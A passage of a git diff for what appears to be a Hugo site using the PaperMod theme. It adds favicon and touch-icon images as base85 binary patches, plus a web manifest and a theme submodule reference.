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 D_NYX! literal 0 HcmV?d00001 diff --git a/static/apple-touch-icon.png b/static/apple-touch-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..7c7f086401a6efe119534fa0bcd58d479f339915 GIT binary patch literal 7346 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 QsTK(^&^6U*&~kqDKO}A`=>Px# literal 0 HcmV?d00001 diff --git a/static/favicon-16x16.png b/static/favicon-16x16.png new file mode 100644 index 0000000000000000000000000000000000000000..e51bd62f6c3696e8ee76c66c5edb0574583142e1 GIT binary patch literal 423 zcmV;Y0a*TtP)U6o8+fl7wWiO8Gk|F-atoEG8eoY_a(o27|@Ss8lLgEEeYTIexz%tJR7EhQpyg%x1IndOe!WrX~u9 z!wQfG5~Wg!TrS68FyQ%olF4M=0Lj*BweWhqOePb(EI_;6u7Kn5sH-T%<8ijzEyZGy zL?ZD9h_n1+wOXmK=v*!r1({4H&1SRNh(sbdolbl{AE{JI&pz7NXf*J6JRA-O`u#ov zPp8wkTrPII9p!TQTOB_DwOUQxrRt;6h{xkWGMQwv*)W^Us8*|=faP+jhZ5ax7q{E3 zuF^{RK_C!dI-RoL@5$%$dQUnQ3WeSZ*Xxz@`TVPamRjhX{LfMTjmw`Ez5wBM!cn?k R4y6D9002ovPDHLkV1g)W%KiWV literal 0 HcmV?d00001 diff --git a/static/favicon-32x32.png b/static/favicon-32x32.png new file mode 100644 index 0000000000000000000000000000000000000000..b66599bf70480a1956af4e57c09953fe208f4b97 GIT binary patch literal 913 zcmV;C18)3@P)xnsp7XrteV+4brlzLs_(jvW0Ju8f>cIbWz;3tW z@bC~;s};V!z9=avVF6E0PU8Cd8o9Z-h>3}TMx*(*uoW^qIXOXic(@|T!NCDmS68_> z0rB(m!{Fc`udA)C#m&tP7tPMjMrvv*Vq;?k5VYs?^b`>h5rSU;aB*>gmX;Py?B?bs zEu_=c*Vp6i?M>L+*474ZZ*SDp)Chj9R*Q~~4upn=N`3-RU0uy!qoSfDzW`u#bQH(O z$7pSB6%vk&j9`9#UeQ*Q$;1Hq`}-BKjEoGFm6Zv8%Ioj%kE*IFbpVZxjqvjFLQ_+d zwBX_4fl)s`J}Qc2W@a*gnVA_y%)`S2y}i8%2ndj3)Rn8ND|B~vs{^3IM@L6YF5&^* z+4S@@Z&I`9=x7G8x3{Mn4+#lDUS1v|BO^J-*w`3!IvqMYJJkVLEEY^mOem5OAM|=X zE-x>I7!i>G5J%(|92|_hyF1uyHbt)d{CpG?6sQAue}9MBY{uN&9PaP$rA0|eNuaAB z3CfMg=IQB)r>7^u9~Kq{`qtOiB|piQuB@=I5bo~o>Hr+xkB<-B-rjQ2{r!FZ-`Lnt zoRrp+42j`#3k(cIdU`r{Cm|sLK0ZDO3JL-N{@cEMjvd-BEiGk&E-fuFFJ50?gogK~{A0Ln6;$qCs&N3m1 zoGU9UAkZ|Jegt4)VFAO#!!R0+tl^ZD6l`s6!C)|;va*uf-_z5BwY4=QCMIHccNfpk z&&;Kwq9Rtoj{t0LZlbHJiwjp&RPe|pDV?32v7e@6Lqh}0_Wb;uW8>rFSYBS{^=WBo z-v>a+qOdrs-V2QT#z4S zB}F)lHp^c+M@;^15NP=!~TEd00000NkvXXu0mjfYm&A+ literal 0 HcmV?d00001 diff --git a/static/favicon.ico b/static/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..5d51ed542863e401c79cd08a5a44496f6018ecaa GIT binary patch literal 15406 zcmeI22X9q741iB**{cQ09+y?hE<6h)cL_i|-f6xGMDs;d9$E28M1 z@+hi|+r(Ys9^c_{7W}?_`zC*Tdj0yf+`D(LphO?z+vUrbW%cUSn%cE%Cj$ly(Erh+ zN6V;Dqx65^z=6`HO`B{x`dEKAudc3^ty{Os_3PJV$&w|qaN$C^a^;HD*4E0napQu0 z-2O9X&XmoYH*4Px9Xd$+_U&cSqD8V{!v>i#V@9z5*RNmYz<~p@V8H?bf2U5JBo-D; zEn2kDoN*>inxt*^?b|0`zI@4!b>hSc>D8;3Oqnu8TD5AWiT>a(D=X9fEnBu!_~glx zrB9zea^%R7Z2yA?56YfBd$hc3*RCw?%F0TCheiuLV6OZ3@0Yr|x@`XsA3n(0vuCyZ z@#9CCIB}x(S+Qb;tX;cS|KT0&=zsqFd8x0j&-Qou$3OhIdiAP2dh|#hKYlE%6)?YD zb0`OuLIFVZOeRh>aY8>Oea(Sa=^WCtB9(zZUj|N{IwePs9{pbvIFe+AGm&%EO|jn0 zo^wS-MZr3^J#E}RZXN&NNW%Z=(?}O$v^Vq_OXBVUhm$$bLz0iLwsRh+8(qqEN6a6{2w}WsLpBU&YgORYNfg26?@84H_>fWKK5khVC@zSa@yw4cUWE+IH{WJxc?3#fuj&=HQ?m zWBd3DDKiFiz(el8))&3Qe!Fz(Qjm6Qm*#)Ijh3!q^IF4Lcm35Lev;Tl8`Z`s^^-I& z*-mv;x}K>Fq%x4oKq>>N45Tv9oMZr>j>Vz5i#L^oj{@5A@fzP2KBCy{Zc+)q9kk`6 z|Jt={>Z`=h=_lgb_{H71@y1~G?AbYO@rmIt!moobZ{^CB4cf4-zW)th6h2uWFXc6B z)(EuaqaR-m{-dNs93Q%v1GM3rd-v{LPJ7xhH{+W>9>F~R2x-NYl{Kkr^B!(-$dx=6f{dHeRQt`&O)zw619CxsXk zF%a6IGgyxh&c=j6KXD9j5=UFVe!Z>-K62i|P|tku=^Fja7k*n^|Ni}@YuB#2S4WH( zq3w8kgP*xEX$_5K@(@WRCYe>{FXK#12+ZcJJk3*CjTLw?ac@Cdnq zhr@;q%S*5M^+R(31}~6%_AxOvaDaG*yMNyKZQ%v+fwpbiYHSi5#0=)lnIr4gty5h^th$hOVeZ5tz)g(K$4QwuP*VKJ z+N1y7eQaEAS?S%V6vei>th)+Ol@@=g(K2jeSGBllO(3QD*=6wD@J@i}S&UhsxkXX4%W^VQ?Zd#L&RUJb&ih z#PQ?Db$`NJ&Ut^m*w@4Y!55;#g`wZioH>)X9esGK3e7$~-okSJVVk;dK>c=Bw)V&h zdcok9qt8yCJ}sPIF0KAQJVSr6X8Gg{nc*A==}L4eXB%VKn^mJFl*0q$k1<(`P#fN| zn%&~lZDsZlv?BxTA%ll4`uWeGLF0@^jgvbE+iUbCu~x3`g?8?u&z?O?q@D5U z3y!4uCDC3e96UE~-qg2b$SHhf-`P0q1MC~_D4ZqiYx-DyQ^=tQKJms18`(W8In&Vv o=re4Yrbc^H;9p8Z>W58bAeDhs22vULlVl*aVbd?=z%O&)UpCR7^Z)<= literal 0 HcmV?d00001 diff --git a/static/site.webmanifest b/static/site.webmanifest new file mode 100644 index 0000000..45dc8a2 --- /dev/null +++ b/static/site.webmanifest @@ -0,0 +1 @@ +{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"} \ No newline at end of file diff --git a/themes/PaperMod b/themes/PaperMod new file mode 160000 index 0000000..a2eb47b --- /dev/null +++ b/themes/PaperMod @@ -0,0 +1 @@ +Subproject commit a2eb47bb4b805116dcd34c1605d39835121f8dbe